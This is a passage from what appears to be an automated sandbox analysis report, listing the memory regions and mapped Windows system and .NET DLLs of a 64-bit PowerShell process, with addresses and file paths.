	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b023321bc53c20c10ccbbd8f78c82c82\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b023321bc53c20c10ccbbd8f78c82c82\\microsoft.powershell.consolehost.ni.dll")

Region:
	              id = 1527
	        start_va = 0x7fee3590000
	          end_va = 0x7fee3fb2fff
	     entry_point = 0x7fee3590000
	     region_type = mapped_file
	            name = "system.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\system.ni.dll")

Region:
	              id = 1528
	        start_va = 0x7fffff10000
	          end_va = 0x7fffff1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff10000"
	        filename = ""

Region:
	              id = 1529
	        start_va = 0x7fffff20000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff20000"
	        filename = ""

Region:
	              id = 1530
	        start_va = 0x7fee2970000
	          end_va = 0x7fee34ccfff
	     entry_point = 0x7fee2970000
	     region_type = mapped_file
	            name = "system.management.automation.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.a#\\009a09f5b2322bb8c5520dc5ddbb28bb\\system.management.automation.ni.dll")

Region:
	              id = 1531
	        start_va = 0x7ff00170000
	          end_va = 0x7ff0017ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00170000"
	        filename = ""

Region:
	              id = 1532
	        start_va = 0x1e60000
	          end_va = 0x1e62fff
	     entry_point = 0x1e60000
	     region_type = mapped_file
	            name = "l_intl.nls"
	        filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls")

Region:
	              id = 1533
	        start_va = 0x1b3e0000
	          end_va = 0x1b49ffff
	     entry_point = 0x1b3e0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 1534
	        start_va = 0x77e00000
	          end_va = 0x77e06fff
	     entry_point = 0x77e00000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")

Region:
	              id = 1535
	        start_va = 0x1e70000
	          end_va = 0x1e70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e70000"
	        filename = ""

Region:
	              id = 1536
	        start_va = 0x1e80000
	          end_va = 0x1e84fff
	     entry_point = 0x1e80000
	     region_type = mapped_file
	            name = "sorttbls.nlp"
	        filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp")

Region:
	              id = 1537
	        start_va = 0x2b40000
	          end_va = 0x2b80fff
	     entry_point = 0x2b40000
	     region_type = mapped_file
	            name = "sortkey.nlp"
	        filename = "\\Windows\\assembly\\GAC_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_64\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp")

Region:
	              id = 1538
	        start_va = 0x7ff00180000
	          end_va = 0x7ff0018ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00180000"
	        filename = ""

Region:
	              id = 1539
	        start_va = 0x1e90000
	          end_va = 0x1e97fff
	     entry_point = 0x1e90000
	     region_type = mapped_file
	            name = "microsoft.wsman.runtime.dll"
	        filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll")

Region:
	              id = 1540
	        start_va = 0x2010000
	          end_va = 0x2010fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002010000"
	        filename = ""

Region:
	              id = 1541
	        start_va = 0x1e230000
	          end_va = 0x1e278fff
	     entry_point = 0x1e230000
	     region_type = mapped_file
	            name = "system.transactions.dll"
	        filename = "\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll")

Region:
	              id = 1542
	        start_va = 0x7fee2430000
	          end_va = 0x7fee2514fff
	     entry_point = 0x7fee2430000
	     region_type = mapped_file
	            name = "system.transactions.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.transactions\\051655963f24f9ade08486084c570086\\system.transactions.ni.dll")

Region:
	              id = 1543
	        start_va = 0x7fee2520000
	          end_va = 0x7fee25c9fff
	     entry_point = 0x7fee2520000
	     region_type = mapped_file
	            name = "microsoft.wsman.management.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Man#\\8cd73e65058ef6f77f36b62a74ec3344\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.wsman.man#\\8cd73e65058ef6f77f36b62a74ec3344\\microsoft.wsman.management.ni.dll")

Region:
	              id = 1544
	        start_va = 0x7fee25d0000
	          end_va = 0x7fee2638fff
	     entry_point = 0x7fee25d0000
	     region_type = mapped_file
	            name = "microsoft.powershell.commands.diagnostics.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\microsoft.powershell.commands.diagnostics.ni.dll")

Region:
	              id = 1545
	        start_va = 0x7fee2640000
	          end_va = 0x7fee296dfff
	     entry_point = 0x7fee2640000
	     region_type = mapped_file
	            name = "system.core.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Core\\83e2f6909980da7347e7806d8c26670e\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.core\\83e2f6909980da7347e7806d8c26670e\\system.core.ni.dll")

Region:
	              id = 1546
	        start_va = 0x7fee6780000
	          end_va = 0x7fee67b1fff
	     entry_point = 0x7fee6780000
	     region_type = mapped_file
	            name = "system.configuration.install.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuratio#\\fcf35536476614410e0b0bd0e412199e\\system.configuration.install.ni.dll")

Region:
	              id = 1547
	        start_va = 0x29f0000
	          end_va = 0x29f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000029f0000"
	        filename = ""

Region:
	              id = 1548
	        start_va = 0x642ff4a0000
	          end_va = 0x642ff4a9fff
	     entry_point = 0x642ff4a0000
	     region_type = mapped_file
	            name = "culture.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\culture.dll")

Region:
	              id = 1549
	        start_va = 0x7fee20b0000
	          end_va = 0x7fee20edfff
	     entry_point = 0x7fee20b0000
	     region_type = mapped_file
	            name = "microsoft.powershell.security.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\b5a6a5ce3cd3d4dd2b151315c612aeff\\microsoft.powershell.security.ni.dll")

Region:
	              id = 1550
	        start_va = 0x7fee20f0000
	          end_va = 0x7fee2207fff
	     entry_point = 0x7fee20f0000
	     region_type = mapped_file
	            name = "microsoft.powershell.commands.management.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\9206dc8156588e608d405729c833edc5\\microsoft.powershell.commands.management.ni.dll")

Region:
	              id = 1551
	        start_va = 0x7fee2210000
	          end_va = 0x7fee2425fff
	     entry_point = 0x7fee2210000
	     region_type = mapped_file
	            name = "microsoft.powershell.commands.utility.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\cdf48153115fc0bb466f37b7dcad9ac5\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\cdf48153115fc0bb466f37b7dcad9ac5\\microsoft.powershell.commands.utility.ni.dll")

Region:
	              id = 1552
	        start_va = 0x2b90000
	          end_va = 0x2be3fff
	     entry_point = 0x2b90000
	     region_type = mapped_file
	            name = "mscorrc.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorrc.dll")

Region:
	              id = 1553
	        start_va = 0x7fee16f0000
	          end_va = 0x7fee1884fff
	     entry_point = 0x7fee16f0000
	     region_type = mapped_file
	            name = "system.directoryservices.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\system.directoryservices.ni.dll")

Region:
	              id = 1554
	        start_va = 0x7fee1890000
	          end_va = 0x7fee19fbfff
	     entry_point = 0x7fee1890000
	     region_type = mapped_file
	            name = "system.management.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management\\c44929bde355680c886f8a52f5e22b81\\system.management.ni.dll")

Region:
	              id = 1555
	        start_va = 0x7fee1a00000
	          end_va = 0x7fee20a4fff
	     entry_point = 0x7fee1a00000
	     region_type = mapped_file
	            name = "system.xml.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.xml\\ee795155543768ea67eecddc686a1e9e\\system.xml.ni.dll")

Region:
	              id = 1556
	        start_va = 0x7fee69e0000
	          end_va = 0x7fee69e6fff
	     entry_point = 0x7fee69e0000
	     region_type = mapped_file
	            name = "shfolder.dll"
	        filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll")

Region:
	              id = 1557
	        start_va = 0x29f0000
	          end_va = 0x2a00fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000029f0000"
	        filename = ""

Region:
	              id = 1558
	        start_va = 0x2a10000
	          end_va = 0x2a10fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002a10000"
	        filename = ""

Region:
	              id = 1559
	        start_va = 0x7fee1560000
	          end_va = 0x7fee16e3fff
	     entry_point = 0x7fee1560000
	     region_type = mapped_file
	            name = "mscorjit.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorjit.dll")

Region:
	              id = 1560
	        start_va = 0x7ff00190000
	          end_va = 0x7ff0019ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00190000"
	        filename = ""

Region:
	              id = 1561
	        start_va = 0x7ff001a0000
	          end_va = 0x7ff001affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff001a0000"
	        filename = ""

Region:
	              id = 1562
	        start_va = 0x7ff001b0000
	          end_va = 0x7ff001bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff001b0000"
	        filename = ""

Region:
	              id = 1563
	        start_va = 0x7ff001c0000
	          end_va = 0x7ff001cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff001c0000"
	        filename = ""

Region:
	              id = 1564
	        start_va = 0x7ff001d0000
	          end_va = 0x7ff001dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff001d0000"
	        filename = ""

Region:
	              id = 1565
	        start_va = 0x7ff001e0000
	          end_va = 0x7ff001effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff001e0000"
	        filename = ""

Region:
	              id = 1566
	        start_va = 0x7ff001f0000
	          end_va = 0x7ff001fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff001f0000"
	        filename = ""

Region:
	              id = 1567
	        start_va = 0x7fefda20000
	          end_va = 0x7fefda2afff
	     entry_point = 0x7fefda20000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 1568
	        start_va = 0x7ff00200000
	          end_va = 0x7ff0020ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00200000"
	        filename = ""

Region:
	              id = 1569
	        start_va = 0x7ff00210000
	          end_va = 0x7ff0021ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00210000"
	        filename = ""

Region:
	              id = 1570
	        start_va = 0x7ff00220000
	          end_va = 0x7ff0022ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00220000"
	        filename = ""

Region:
	              id = 1571
	        start_va = 0x7fefda50000
	          end_va = 0x7fefda74fff
	     entry_point = 0x7fefda50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1572
	        start_va = 0x1b890000
	          end_va = 0x1b98ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b890000"
	        filename = ""

Region:
	              id = 1573
	        start_va = 0x2aa0000
	          end_va = 0x2aa0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002aa0000"
	        filename = ""

Region:
	              id = 1574
	        start_va = 0x1b990000
	          end_va = 0x1bc8efff
	     entry_point = 0x1b990000
	     region_type = mapped_file
	            name = "system.data.dll"
	        filename = "\\Windows\\assembly\\GAC_64\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_64\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll")

Region:
	              id = 1575
	        start_va = 0x7fee0d10000
	          end_va = 0x7fee155afff
	     entry_point = 0x7fee0d10000
	     region_type = mapped_file
	            name = "system.data.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data\\accc3a5269658c8c47fe3e402ac4ac1c\\system.data.ni.dll")

Region:
	              id = 1576
	        start_va = 0x7fefdc30000
	          end_va = 0x7fefdc3efff
	     entry_point = 0x7fefdc30000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 1577
	        start_va = 0x7fefddf0000
	          end_va = 0x7fefdf56fff
	     entry_point = 0x7fefddf0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 1578
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1579
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1580
	        start_va = 0x7ff00230000
	          end_va = 0x7ff0023ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00230000"
	        filename = ""

Region:
	              id = 1581
	        start_va = 0x7ff00240000
	          end_va = 0x7ff0024ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00240000"
	        filename = ""

Region:
	              id = 1582
	        start_va = 0x2ab0000
	          end_va = 0x2abffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ab0000"
	        filename = ""

Region:
	              id = 1583
	        start_va = 0x1b4a0000
	          end_va = 0x1b4affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b4a0000"
	        filename = ""

Region:
	              id = 1584
	        start_va = 0x1b4b0000
	          end_va = 0x1b4bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b4b0000"
	        filename = ""

Region:
	              id = 1585
	        start_va = 0x1b4c0000
	          end_va = 0x1b4cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b4c0000"
	        filename = ""

Region:
	              id = 1586
	        start_va = 0x7ff00250000
	          end_va = 0x7ff0025ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00250000"
	        filename = ""

Region:
	              id = 1587
	        start_va = 0x7ff00260000
	          end_va = 0x7ff0026ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00260000"
	        filename = ""

Region:
	              id = 1588
	        start_va = 0x7ff00270000
	          end_va = 0x7ff0027ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00270000"
	        filename = ""

Region:
	              id = 1589
	        start_va = 0x1b4d0000
	          end_va = 0x1b4e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000001b4d0000"
	        filename = ""

Region:
	              id = 1590
	        start_va = 0x1b4f0000
	          end_va = 0x1b4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b4f0000"
	        filename = ""

Region:
	              id = 1591
	        start_va = 0x1bd10000
	          end_va = 0x1c69ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001bd10000"
	        filename = ""

Region:
	              id = 1592
	        start_va = 0x1c6a0000
	          end_va = 0x1c89ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001c6a0000"
	        filename = ""

Region:
	              id = 1593
	        start_va = 0x7fee09f0000
	          end_va = 0x7fee0c26fff
	     entry_point = 0x7fee09f0000
	     region_type = mapped_file
	            name = "system.drawing.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.drawing\\5910828a337dbe848dc90c7ae0a7dee2\\system.drawing.ni.dll")

Region:
	              id = 1594
	        start_va = 0x7ff00280000
	          end_va = 0x7ff0028ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00280000"
	        filename = ""

Region:
	              id = 1595
	        start_va = 0x7fffff0e000
	          end_va = 0x7fffff0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff0e000"
	        filename = ""

Region:
	              id = 1596
	        start_va = 0x7fee08a0000
	          end_va = 0x7fee09e2fff
	     entry_point = 0x7fee08a0000
	     region_type = mapped_file
	            name = "system.configuration.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\system.configuration.ni.dll")

Region:
	              id = 1597
	        start_va = 0x7fef4d40000
	          end_va = 0x7fef4d5bfff
	     entry_point = 0x7fef4d40000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")

Region:
	              id = 1598
	        start_va = 0x7fef4d60000
	          end_va = 0x7fef4dc1fff
	     entry_point = 0x7fef4d60000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")

Region:
	              id = 1599
	        start_va = 0x7fef6570000
	          end_va = 0x7fef6580fff
	     entry_point = 0x7fef6570000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 1600
	        start_va = 0x7fefd420000
	          end_va = 0x7fefd474fff
	     entry_point = 0x7fefd420000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 1601
	        start_va = 0x1c8a0000
	          end_va = 0x1c99ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001c8a0000"
	        filename = ""

Region:
	              id = 1602
	        start_va = 0x7fefce20000
	          end_va = 0x7fefce26fff
	     entry_point = 0x7fefce20000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 1603
	        start_va = 0x7fefd410000
	          end_va = 0x7fefd416fff
	     entry_point = 0x7fefd410000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 1604
	        start_va = 0x1b500000
	          end_va = 0x1b51ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000001b500000"
	        filename = ""

Region:
	              id = 1605
	        start_va = 0x1c9c0000
	          end_va = 0x1ca3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001c9c0000"
	        filename = ""

Region:
	              id = 1606
	        start_va = 0x1cac0000
	          end_va = 0x1cb3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001cac0000"
	        filename = ""

Region:
	              id = 1607
	        start_va = 0x7fef7190000
	          end_va = 0x7fef71f3fff
	     entry_point = 0x7fef7190000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 1608
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7270fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 1609
	        start_va = 0x7fffff0a000
	          end_va = 0x7fffff0bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff0a000"
	        filename = ""

Region:
	              id = 1610
	        start_va = 0x7fffff0c000
	          end_va = 0x7fffff0dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff0c000"
	        filename = ""

Region:
	              id = 1611
	        start_va = 0x7fefb680000
	          end_va = 0x7fefb6a6fff
	     entry_point = 0x7fefb680000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 1612
	        start_va = 0x7fefb670000
	          end_va = 0x7fefb67afff
	     entry_point = 0x7fefb670000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 1613
	        start_va = 0x7fef9680000
	          end_va = 0x7fef9690fff
	     entry_point = 0x7fef9680000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 1614
	        start_va = 0x7fef9660000
	          end_va = 0x7fef9677fff
	     entry_point = 0x7fef9660000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 1615
	        start_va = 0x7fefd080000
	          end_va = 0x7fefd089fff
	     entry_point = 0x7fefd080000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 1616
	        start_va = 0x1cc30000
	          end_va = 0x1ccaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001cc30000"
	        filename = ""

Region:
	              id = 1617
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd2fafff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 1618
	        start_va = 0x7fffff08000
	          end_va = 0x7fffff09fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff08000"
	        filename = ""

Region:
	              id = 1619
	        start_va = 0x1ccb0000
	          end_va = 0x1cdfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001ccb0000"
	        filename = ""

Region:
	              id = 1620
	        start_va = 0x7fefbc10000
	          end_va = 0x7fefbc17fff
	     entry_point = 0x7fefbc10000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 1668
	        start_va = 0x7fef96b0000
	          end_va = 0x7fef9702fff
	     entry_point = 0x7fef96b0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 1669
	        start_va = 0x1ce00000
	          end_va = 0x1cfeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001ce00000"
	        filename = ""

Region:
	              id = 1670
	        start_va = 0x7ff00290000
	          end_va = 0x7ff0029ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00290000"
	        filename = ""

Region:
	              id = 1671
	        start_va = 0x753a0000
	          end_va = 0x753a2fff
	     entry_point = 0x753a0000
	     region_type = mapped_file
	            name = "security.dll"
	        filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll")

Region:
	              id = 1672
	        start_va = 0x7fefd210000
	          end_va = 0x7fefd266fff
	     entry_point = 0x7fefd210000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 1673
	        start_va = 0x1bc90000
	          end_va = 0x1bc91fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000001bc90000"
	        filename = ""

Region:
	              id = 1674
	        start_va = 0x7fefd620000
	          end_va = 0x7fefd66dfff
	     entry_point = 0x7fefd620000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")

Region:
	              id = 1675
	        start_va = 0x7fefd5f0000
	          end_va = 0x7fefd611fff
	     entry_point = 0x7fefd5f0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 1676
	        start_va = 0x7fefd0c0000
	          end_va = 0x7fefd10bfff
	     entry_point = 0x7fefd0c0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 1677
	        start_va = 0x1ce80000
	          end_va = 0x1cefffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001ce80000"
	        filename = ""

Region:
	              id = 1678
	        start_va = 0x1cf70000
	          end_va = 0x1cfeffff
	     entry_point = 0x0
